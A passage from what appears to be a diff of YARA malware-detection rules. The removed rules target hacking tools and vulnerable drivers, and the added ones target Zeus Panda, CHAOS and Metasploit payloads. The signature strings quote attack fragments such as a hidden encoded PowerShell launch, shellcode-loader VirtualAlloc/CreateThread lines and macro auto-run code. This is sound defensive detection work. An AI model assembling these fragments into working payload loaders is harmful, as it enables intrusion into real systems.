+		$a3 = "IsInSandbox" ascii fullword
+		$a4 = "syssystemnew" ascii fullword
+		$a5 = "ytyinfo" ascii fullword
+		$a6 = "\\ytyboth\\yty " ascii
+		$s1 = "SELECT Name FROM Win32_Processor" wide
+		$s2 = "SELECT Caption FROM Win32_OperatingSystem" wide
+		$s3 = "SELECT SerialNumber FROM Win32_DiskDrive" wide
+		$s4 = "VM: Yes" wide fullword
+		$s5 = "VM: No" wide fullword
+		$s6 = "helpdll.dll" ascii fullword
+		$s7 = "boothelp.exe" ascii fullword
+		$s8 = "SbieDll.dll" wide fullword
+		$s9 = "dbghelp.dll" wide fullword
+		$s10 = "YesNoMaybe" ascii fullword
+		$s11 = "saveData" ascii fullword
+		$s12 = "saveLogs" ascii fullword
 
 	condition:
-		filesize <6000KB and 1 of them
+		uint16be(0)==0x4d5a and filesize <500KB and (pe.imphash()=="87775285899fa860b9963b11596a2ded" or 1 of ($x*) or 3 of ($a*) or 6 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Paexec : FILE
+rule SIGNATURE_BASE_Zeus_Panda : FILE
 {
 	meta:
-		description = "Detects remote access tool PAEXec (like PsExec) - file PAExec.exe"
+		description = "Detects ZEUS Panda Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ee564534-b921-5639-a7ed-5da79d6bf86a"
-		date = "2017-03-27"
+		id = "2786b1e0-37af-5595-a24b-56ef3cb928a7"
+		date = "2017-08-04"
 		modified = "2023-12-05"
-		reference = "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4649-L4669"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "30478d90756a9ea362c40236518fe9013e5e5683641b7e7e1ad33aa3b5587e04"
-		score = 40
+		reference = "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_zeus_panda.yar#L11-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "63312763196259204dcee6b6c46ae1a16abeab0afabbce9e2e8413131856b04e"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bd956b2e81731874995b9b92e20f75dbf67ac5f12f9daa194525e1b673c7f83c"
 
 	strings:
-		$x1 = "Ex: -rlo C:\\Temp\\PAExec.log" fullword ascii
-		$x2 = "Can't enumProcesses - Failed to get token for Local System." fullword wide
-		$x3 = "PAExec %s - Execute Programs Remotely" fullword wide
-		$x4 = "\\\\%s\\pipe\\PAExecIn%s%u" fullword wide
-		$x5 = "\\\\.\\pipe\\PAExecIn%s%u" fullword wide
-		$x6 = "%%SystemRoot%%\\%s.exe" fullword wide
-		$x7 = "in replacement for PsExec, so the command-line usage is identical, with " fullword ascii
-		$x8 = "\\\\%s\\ADMIN$\\PAExec_Move%u.dat" fullword wide
+		$x1 = "SER32.dll" fullword ascii
+		$x2 = "/c start \"\" \"%s\"" fullword wide
+		$x3 = "del /F \"%s\"" fullword ascii
+		$s1 = "bcdfghklmnpqrstvwxz" fullword ascii
+		$s2 = "=> -,0;" fullword ascii
+		$s3 = "Yahoo! Slurp" fullword ascii
+		$s4 = "ZTNHGET ^&" fullword ascii
+		$s5 = "MSIE 9" fullword ascii
+		$s6 = "%s%08x.%s" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 1 of ($x*)) or (3 of them )
+		uint16(0)==0x5a4d and filesize <400KB and (2 of ($x*) or 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Domainpasswordspray : FILE
+rule SIGNATURE_BASE_CHAOS_Payload : FILE
 {
 	meta:
-		description = "Detects the Powershell password spray tool DomainPasswordSpray"
-		author = "Arnim Rupp"
-		id = "890e4514-2846-54f8-8f32-cc9d2a4ef81b"
-		date = "2023-01-13"
+		description = "Detects a CHAOS back connect payload"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5057bc68-9bf8-54b4-88a1-d0c0cba62fa0"
+		date = "2017-07-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/dafthack/DomainPasswordSpray"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4671-L4686"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa20bf139eff36100624771fe7617c214337ae5ab2e2746143bd8e6cc1b05b4e"
-		score = 60
+		reference = "https://github.com/tiagorlampert/CHAOS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_chaos_payload.yar#L11-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ca409d3d0430fbc4c5ae52ce22616132da3a90c1ec3889571c6314e8787eee67"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "44d4c0ae5673d2a076f3b5acdc83063aca49d58e6dd7cf73d0b927f83d359247"
+		hash1 = "0962fcfcb1b52df148720c2112b036e75755f09279e3ebfce1636739af9b4448"
+		hash2 = "5c3553345f824b7b6de09ccb67d834e428b8df17443d98816471ca28f5a11424"
 
 	strings:
-		$s = "Invoke-DomainPasswordSpray" fullword ascii wide
+		$x1 = { 2F 43 48 41 4F 53 00 02 73 79 6E 63 2F 61 74 6F 6D 69 63 }
 
 	condition:
-		filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <15000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Rusthound : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf : FILE
 {
 	meta:
-		description = "Detect hacktool RustHound (Sharphound clone)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d2fd79a5-9a1a-51de-920c-61653c8b0064"
-		date = "2023-03-30"
-		modified = "2023-12-05"
-		reference = "https://github.com/OPENCYBER-FR/RustHound"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4688-L4715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "409f61a34d9771643246f401a9670f6f7dcced9df50cbd89a2e1a5c9ba8d03ab"
-		hash = "b1a58a9c94b1df97a243e6c3fc2d04ffd92bc802edc7d8e738573b394be331a9"
-		hash = "170f4a48911f3ebef674aade05184ea0a6b1f6b089bcffd658e95b9905423365"
-		hash = "e52f6496b863b08296bf602e92a090768e86abf498183aa5b6531a3a2d9c0bdb"
-		hash = "847e57a35df29d40858c248e5b278b09cfa89dd4201cb24262c6158395e2e585"
-		hash = "4edfed92b54d32a58b2cfc926f98a56637e89850410706abcc469a8bc846bc85"
-		hash = "feba0c16830ea0a13819a9ab8a221cc64d5a9b3cc73f3c66c405a171a2069cc1"
-		hash = "21d37c2393a6f748fe34c9d2f52693cb081b63c3a02ca0bebe4a584076f5886c"
-		hash = "874a1a186eb5808d456ce86295cd5f09d6c819375acb100573c2103608af0d84"
-		hash = "bf576bd229393010b2bb4ba17e49604109e294ca38cf19647fc7d9c325f7bcd1"
-		logic_hash = "386b734ad7f3cf02f096236c941033b3f905a3368b8a72dd63e91e6e94f12f8d"
+		description = "Metasploit Payloads - file msf.sh"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c56dbb8e-1e03-5112-b2ef-a0adfd14dffa"
+		date = "2017-02-09"
+		modified = "2022-08-18"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L10-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4f0eab53a135242c7891b8c88e937a854c945a10000ca4cbf7b21f4596dca410"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "320a01ec4e023fb5fbbaef963a2b57229e4f918847e5a49c7a3f631cb556e96c"
 
 	strings:
-		$rh1 = "rusthound" fullword ascii wide
-		$rh2 = "Making json/zip files finished!" ascii wide
+		$s1 = "export buf=\\" ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0x457f) and 1 of ($rh*)
+		filesize <5MB and $s1
 }
-rule SIGNATURE_BASE_MAL_JS_Efile_Apr23_1
+rule SIGNATURE_BASE_Msfpayloads_Msf_2
 {
 	meta:
-		description = "Detects JavaScript malware used in eFile compromise"
-		author = "Florian Roth"
-		id = "ba7a8b2c-789c-5bc5-be53-f2b92c7039e1"
-		date = "2023-04-06"
+		description = "Metasploit Payloads - file msf.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ec1ae1b6-18a3-5590-ae15-1e2b362c545a"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/Ax_Sharma/status/1643178696084271104/photo/1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_efile_apr23.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d94162e5719b92d9df349e7d48cd70e218998b0e120870a435a8073fa49c532"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L25-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f803a5d71a084e1ea453638bdeaa2dd590a1912be652b74b065d9afd332ffa2"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e52f98466b92ee9629d564453af6f27bd3645e00a9e2da518f5a64a33ccf8eb5"
 
 	strings:
-		$s1 = "let payload_chrome = "
-		$s2 = "else if (agent.indexOf(\"firefox"
+		$s1 = "& \"\\\" & \"svchost.exe\"" fullword ascii
+		$s2 = "CreateObject(\"Wscript.Shell\")" fullword ascii
+		$s3 = "<% @language=\"VBScript\" %>" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_MAL_PHP_Efile_Apr23_1
+rule SIGNATURE_BASE_Msfpayloads_Msf_Psh
 {
 	meta:
-		description = "Detects malware "
-		author = "Florian Roth"
-		id = "d663b38e-b082-5cf7-9853-f4685bf3a87b"
-		date = "2023-04-06"
+		description = "Metasploit Payloads - file msf-psh.vba"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5b760f03-b0f8-5871-bd34-e7e44443530c"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/malwrhunterteam/status/1642988428080865281?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_efile_apr23.yar#L18-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec4ac3f5c19f506a70eacb5fe3173cc06bf20567bbc9a96f3b269910382e5fa2"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L42-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2e6015e8c91ccd8647e78220d10c2d704867369d962b734bb4522a1213be2f2d"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f"
 
 	strings:
-		$s1 = "mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff )" ascii
-		$s2 = "C:\\\\ProgramData\\\\Browsers" ascii fullword
-		$s3 = "curl_https($api_url." ascii
+		$s1 = "powershell.exe -nop -w hidden -e" ascii
+		$s2 = "Call Shell(" ascii
+		$s3 = "Sub Workbook_Open()" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_34BE : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_Exe
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "eacc5085-aa34-5f46-977d-84761649bd6d"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf-exe.vba"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd07240e-0ee0-5318-a436-d97054e92414"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3"
-		hash = "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02"
-		hash = "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe"
-		hash = "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa"
-		logic_hash = "99bb403a6a21e02d2c100267f008feaf6cafd8eb5209d26adc249bf113f87d42"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L59-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3baa242e90dd845e022785101ebc2d5c0d84007d20aef6a2bb6a9a8c6280d4eb"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "321537007ea5052a43ffa46a6976075cee6a4902af0c98b9fd711b9f572c20fd"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310037002000430050005500490044 }
+		$s1 = "'* PAYLOAD DATA" fullword ascii
+		$s2 = " = Shell(" ascii
+		$s3 = "= Environ(\"USERPROFILE\")" fullword ascii
+		$s4 = "'**************************************************************" fullword ascii
+		$s5 = "ChDir (" ascii
+		$s6 = "'* MACRO CODE" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_D7E0 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_3
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "62c2caf4-0f8e-5873-bc77-ea5a6b390e29"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.psh"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ad09167f-a12a-5f07-940b-df679fa8e6c0"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L28-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0"
-		logic_hash = "229c98a4e55486cde122edd3a846c6cec6b242ee9e0269bf25e92d1e00e63d67"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L79-L102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1aeb97c19365f996dc1bc0fd6e01342878967be25d3e042158eba986af28b4a"
+		score = 75
+		quality = 83
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "335cfb85e11e7fb20cddc87e743b9e777dc4ab4e18a39c2a2da1aa61efdbd054"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(" ascii
+		$s2 = "public enum MemoryProtection { ExecuteReadWrite = 0x40 }" fullword ascii
+		$s3 = ".func]::VirtualAlloc(0,"
+		$s4 = ".func+AllocationType]::Reserve -bOr [" ascii
+		$s5 = "New-Object System.CodeDom.Compiler.CompilerParameters" fullword ascii
+		$s6 = "ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" fullword ascii
+		$s7 = "public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }" fullword ascii
+		$s8 = ".func]::CreateThread(0,0,$" fullword ascii
+		$s9 = "public enum Time : uint { Infinite = 0xFFFFFFFF }" fullword ascii
+		$s10 = "= [System.Convert]::FromBase64String(\"/" ascii
+		$s11 = "{ $global:result = 3; return }" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Eldoscorporation_Elrawdsksys_Rawdisk_4744 : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_4
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elrawdsk.sys"
-		author = "Florian Roth"
-		id = "13de286c-92f2-5677-86ee-99c70a338c8e"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "00d7681b-6041-5fe1-adbb-8b7c40df0193"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L49-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6"
-		hash = "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a"
-		logic_hash = "01faeb5fe7618ce1135a8532c76357cfea1dfb0932e3d7c4cf9ff7d1c8c1d8fb"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L104-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e84ef13aa72c7c35520b3534b908c7d00240915ab02f8216a2cef6440c322a2"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "26b3e572ba1574164b76c6d5213ab02e4170168ae2bcd2f477f246d37dbe84ef"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200610077004400690073006b0020004400720069007600650072002e00200041006c006c006f00770073002000770072006900740065002000610063006300650073007300200074006f002000660069006c0065007300200061006e006400200072006100770020006400690073006b00200073006500630074006f0072007300200066006f0072002000750073006500720020006d006f006400650020006100700070006c00690063006100740069006f006e007300200069006e002000570069006e0064006f007700730020003200300030003000200061006e00640020006c0061007400650072002e }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c0064006f005300200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c0020003100300036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200610077004400690073006b }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d0032003000310031002c00200045006c0064006f005300200043006f00720070006f0072006100740069006f006e0020 }
+		$s1 = "= VirtualAlloc(IntPtr.Zero,(UIntPtr)" ascii
+		$s2 = ".Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);" ascii
+		$s3 = "[System.Runtime.InteropServices.DllImport(\"kernel32\")]" fullword ascii
+		$s4 = "private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;" fullword ascii
+		$s5 = "private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_81AA : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_Exe_2
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "03cc80bd-699d-5c23-9acc-a523fa3110f3"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf-exe.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a55a33e1-8f04-5417-af0c-b7e2da36fb46"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L73-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0"
-		logic_hash = "8be18437fb165bab491d1d63b01d744f14df8594288bf0d447b76913de934aa9"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L123-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd82f496ade1a62e0aee8c8c90cee84377cb90adf11c87652082e74c8c85e568"
+		score = 75
+		quality = 83
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3a2f7a654c1100e64d8d3b4cd39165fba3b101bbcce6dd0f70dae863da338401"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$x1 = "= new System.Diagnostics.Process();" fullword ascii
+		$x2 = ".StartInfo.UseShellExecute = true;" fullword ascii
+		$x3 = ", \"svchost.exe\");" ascii
+		$s4 = " = Path.GetTempPath();" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_F6CD : FILE
+rule SIGNATURE_BASE_Msfpayloads_Msf_5
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "40d54ac5-209a-5f0e-b799-f492b7fcc973"
-		date = "2023-06-14"
+		description = "Metasploit Payloads - file msf.msi"
+		author = "Florian Roth (Nextron Systems)"
+		id = "030d1982-c9a8-539d-a995-7901ae425857"
+		date = "2017-02-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L96-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f"
-		logic_hash = "1f489ec71f92390aeb4137ba72cb88a950ed91f8e67bb82cf176a8c2fb4ef50f"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L141-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb602670329391b091f87818a0f5defaa8f688f7921978510739b96ca63a2f12"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7a6c66dfc998bf5838993e40026e1f400acd018bde8d4c01ef2e2e8fba507065"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
